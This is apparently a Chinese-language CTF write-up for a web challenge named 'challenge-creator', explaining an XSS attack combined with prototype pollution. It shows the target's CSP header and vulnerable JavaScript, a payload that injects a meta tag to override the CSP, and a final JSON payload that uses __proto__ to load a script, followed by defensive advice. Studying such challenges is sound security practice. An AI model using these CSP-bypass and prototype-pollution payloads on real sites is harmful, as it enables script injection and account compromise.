前言
时间:2023年12月16日
日常记录一下,倒逼自己学点东西。虽然不知道有没有用,但是贵在坚持。
提示:以下是本篇文章正文内容,下面案例可供参考
challenge-creator
漏洞:XSS结合原型污染
漏洞利用:HTML注入结合CSP安全机制
页面:
我输入Name后,创建挑战后会生产Json代码,这就给XSS有了可乘之机。
解法:
先尝试XSS注入,但是注入符合被替换成修🐕。
payload:
<script>alert(/haha/)</script>
可以发现存在内容安全策略(CSP)防护XSS攻击。
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: base-uri 'self'; default-src 'self'; img-src 'self' data: image/svg+xml; script-src 'nonce-0ZFaNaU1oaFVy+l/w+36rQ==' 'strict-dynamic'; object-src 'none'; style-src 'nonce-0ZFaNaU1oaFVy+l/w+36rQ==' unpkg.com cdn.jsdelivr.net cdn.jsdelivr.com; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;
Content-Type: text/html; charset=utf-8
Content-Length: 10153
ETag: W/"27a9-FM0KPWFI/1Oro8qXTXsa+EvczHM"
Date: Wed, 06 Dec 2023 08:16:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5
查看源代码可以它首先尝试从当前页面的 URL 中获取名为 “challenge” 的参数,并将其解析为 JSON 格式。如果解析成功,它会遍历挑战对象(challenge),将解析得到的值赋给相应的键,并在必要时进行类型转换。最后,它调用了 outputChallenge 函数,将解析后的挑战对象传递给它。
同时还调用了console .log将内容输出到控制台。
function parseChallenge() {
let assignedVal,
value,
parsedChal = {},
chal = null;
try {
chal =
JSON.parse(
new URL(window.location.href).searchParams.get("challenge")
) || null;
} catch (err) {
console.error("Error:", err);
}
if (chal === null) {
const containerOutput = document.getElementById("container-output");
const jsonOutput = document.getElementById("json-output");
containerOutput.classList.add("hidden");
jsonOutput.innerHTML = "";
return;
}
for (const [key, defaultValue] of Object.entries(challenge)) {
value = chal[key];
console.log("key:", key);
console.log("defaultValue:", defaultValue);
console.log("value:", value);
if (typeof defaultValue === "number") {
value = parseInt(value);
}
assignedVal = value || defaultValue;
if (
typeof assignedVal === "object" &&
typeof defaultValue === "object"
) {
if (parsedChal[key] === undefined) {
parsedChal[key] = {};
}
for (const [subKey, subDefaultValue] of Object.entries(
defaultValue
)) {
let subValue =
chal[key] !== undefined ? chal[key][subKey] : subDefaultValue;
console.log("subkey:", subKey);
console.log("subDefaultValue:", subDefaultValue);
console.log("subValue:", subValue);
parsedChal[key][subKey] = subValue;
}
} else {
parsedChal[key] = assignedVal;
}
}
console.log("parsedChal:", parsedChal);
outputChallenge(parsedChal);
}
具有利用方法就要想办法跳过第二段,使得第二段不执行,这里的方法是在这个注入点注入一段CSP。
payload
</title><meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'strict-dynamic'"><title>
得到三段key,取1、3的key。
在设定csp规则中使用第一段和第三段的hash,不用第二段的,因此最终规则payload如下
<meta
http-equiv="Content-Security-Policy"
content="script-src * 'sha256-eyVKju/vSji+klXiXwhgD7spFJI0/Kk10K2eq4a9NCU=' 'sha256-8+tX0RdD8rNbWDDLNb3z8ixoi28g7G5On2AwCBePR0Y=' "
/>
运行结果
最终有效负载:
{
"name": "</title> <meta http-equiv='Content-Security-Policy' content=\"script-src * 'sha256-eyVKju/vSji+klXiXwhgD7spFJI0/Kk10K2eq4a9NCU=' 'sha256-8+tX0RdD8rNbWDDLNb3z8ixoi28g7G5On2AwCBePR0Y=' \"><title>",
"category": "asd",
"value": "1337",
"__proto__": {
"tag": "script",
"attributes": {
"src": "URL",
"id": "id"
}
}
}
shellmates{M4$t3r_of_cL1eNT_s1D3_hUsTL3s}
总结
-
做XSS类的题目,需要自己有个域名,或者做个内网穿透,不然在做一些需要URL的题目时候就很被动。
-
XSS原型感染是通过 XSS 注入恶意脚本,然后在脚本中执行一些修改原型链的操作,从而影响页面的行为。这可能涉及到在脚本中动态创建对象、修改原型链等操作。
-
防范 XSS 的方法包括对输入进行正确的转义和过滤,以及使用 Content Security Policy(CSP)
-
防范原型污染需要审慎处理用户输入,并确保不会意外地修改全局对象的原型。
-
在编写代码时,务必注意输入的合法性,对用户输入进行适当的验证和转义,以防止 XSS 攻击。同时,避免不必要的全局对象原型链修改,以防止原型污染攻击。
参考博客
https://team0se7en.github.io/hackini-10th-challenge-creator/
https://www.yuque.com/yuqueyonghuy1eapm/gw64wp/vz77m3s5awdvhe55